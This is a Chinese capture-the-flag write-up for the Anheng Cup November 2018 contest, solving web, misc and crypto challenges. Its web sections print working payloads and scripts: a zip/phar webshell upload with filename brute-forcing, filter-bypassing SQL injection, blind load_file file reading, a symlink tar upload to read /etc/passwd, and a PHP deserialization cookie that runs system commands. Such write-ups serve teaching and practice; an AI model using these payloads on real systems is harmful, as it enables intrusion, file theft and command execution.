安恒杯2018年11月月赛WriteUp

Web

image_up

看到http://101.71.29.5:10007/index.php?page=login后,尝试用伪协议读login源码:

?page=php://filter/convert.base64-encode/resource=login

没啥东西,去读upload源码:

这里要通过phar://伪协议来getshell。
把写入一句话木马的shell.jpg压缩成shell.zip,再把shell.zip重命名为shell.jpg。上传上去即可。

安恒杯2018年11月月赛WriteUp_第1张图片

文件上传名会被重命名为md5($temp[0].time())后的名字。$temp[0]time()可控。于是构造脚本去猜解:

import time
import requests
import hashlib


def md5(str1):
    m = hashlib.md5()
    m.update(str1.encode())
    return m.hexdigest()


url = "http://101.71.29.5:10007/"
files = {
    "image":("shell.jpg",open("shell.jpg","rb"))
}
print(files)
t = int(time.time())
requests.post(url=(url+"upload.php"),files=files)
for i in range(t-20,t+20):
    path = "uploads/"+md5("shell"+str(i))+".jpg"
    status = requests.get(url=url+path).status_code
    print(status)
    if status == 200:
        print(path)
        break

计算得到文件名,然后通过伪协议来读文件:

/index.php?page=zip://./uploads/6bff3b7c5c6fd2280dbd1b4d283e067b.jpg%23shell
post:cmd=phpinfo();

找一下就有flag。

好黑的黑名单


访问 show.php?id=1,猜测 id可能存在sql注入。
这里过滤了空格,用 %0a来绕过,要用 between and来代替逻辑操作符。单引号也被过滤,可以用16进制来绕过。构造payload:

?id=2%0aand%0a(select%0a(select%0adatabase())%0abetween%0a0x61%0aand%0a0x7a)

具体python脚本略。

interesting web

注册要填写ip,填写自己云主机的ip

安恒杯2018年11月月赛WriteUp_第2张图片

注册登录后看到:
安恒杯2018年11月月赛WriteUp_第3张图片

猜测要拿到admin的权限。
尝试找回密码。
安恒杯2018年11月月赛WriteUp_第4张图片

找到 cookie里的 session值: eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPVFl6WTJaaE5HTmtNekJsTmpGbE9UVmxNR1V5TW1ReU56RTFORGs1WlRnPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.Dt-qLg.jQhdDITh-UPM8E4DJRJISskZ9tw
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPVFl6WTJaaE5HTmtNekJsTmpGbE9UVmxNR1V5TW1ReU56RTFORGs1WlRnPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0这段 base64解密后可得:

{"login":true,"token":{" b":"OTYzY2ZhNGNkMzBlNjFlOTVlMGUyMmQyNzE1NDk5ZTg="},"username":"admin"}

里面的OTYzY2ZhNGNkMzBlNjFlOTVlMGUyMmQyNzE1NDk5ZTg=base64,解码后的963cfa4cd30e61e95e0e22d2715499e8就是token值。

安恒杯2018年11月月赛WriteUp_第5张图片

成功修改了 admin账户后登录。
先在自己的linux系统上创建个软连接文件:

$ ln -s /etc/passwd hack.jpg
$ cat hack.jpg

安恒杯2018年11月月赛WriteUp_第6张图片

看到是可以读文件的。然后生成 tar包。

$ tar -czvf hack.tar hack.jpg

上传:

安恒杯2018年11月月赛WriteUp_第7张图片

安恒杯2018年11月月赛WriteUp_第8张图片

访问 /download/hack.jpg
安恒杯2018年11月月赛WriteUp_第9张图片

另存为打开就可以看到flag。
安恒杯2018年11月月赛WriteUp_第10张图片

ez sql

注册登录后,查看用户信息可以看到:

安恒杯2018年11月月赛WriteUp_第11张图片

url变成了 user.php?id=97。猜测可能存在sql注入。
这里要用sql读文件来注入绕过,payload:

user.php?id=1-(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870) like 0x3c25)
# 正常页面信息丢失

最后写脚本:

import requests
import string
import binascii


to_hex = lambda s : binascii.hexlify(s) # 把字符串都转换成16进制编码
char = '0123456789ABCDEF'
filename = '/var/www/html/index.php'
c = ''
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s))like(0x%s),1,2)'

for _ in range(10000):
    for i in char:
        payload = c + i + '%'
        _url = url % (to_hex(filename),to_hex(payload))
        res = requests.get(_url,cookies={'PHPSESSID':'ep0qqe8899uorseum9oq7lvb11'})
        if b'2018' in res.content:
            print '....' + payload
            c = c + i
            break

可以读到index.phpwaf.phpconfig/config.phpconfig/sys_config.php
最主要是index.php里这段:


可以看到$config传递了COOKIE里的CONFIG参数。
看到config.php里的$config = unserialize(base64_decode($config));,可以看到是PHP反序列化注入漏洞,并且可以通过call_user_func执行命令。
构造:

filter=array('system');
    echo base64_encode(serialize($f));
?>
/index.php
cookie:CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

可以看到waf.php里过滤了空格和/,构造$IFSexpr绕过。
最终payload:

/index.php?p=cat$IFS..`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`flag2333`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`flag.php
cookie:CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

Misc

Numeric Password

安恒杯2018年11月月赛WriteUp_第12张图片

百度 110个数字密码,按照密码表对照得到 content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,21,27,20,25,27,21,72,26,20,18,20,70,70,67,70,23,20,95]
这个又经过移位加密,数字范围在 18~95,而ascii可见字段在 33~126,则移位的范围为 20~32,最后编写脚本可得:

content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,21,27,20,25,27,21,72,26,20,18,20,70,70,67,70,23,20,95]

enc = ''
for j in range(20,32):
    for i in content:
        enc += chr(i+j)
    print(enc)
    enc = ''

得到flag

Crypto

仿射密码

利用在线解密网站:https://www.wishingstarmoye.com/ctf/affinecipher
b=7,a=11即可得到flag。

简单的密码学2

CBC字节反转攻击。

参考链接

安恒杯 11月赛 WP

你可能感兴趣的:(安恒杯2018年11月月赛WriteUp)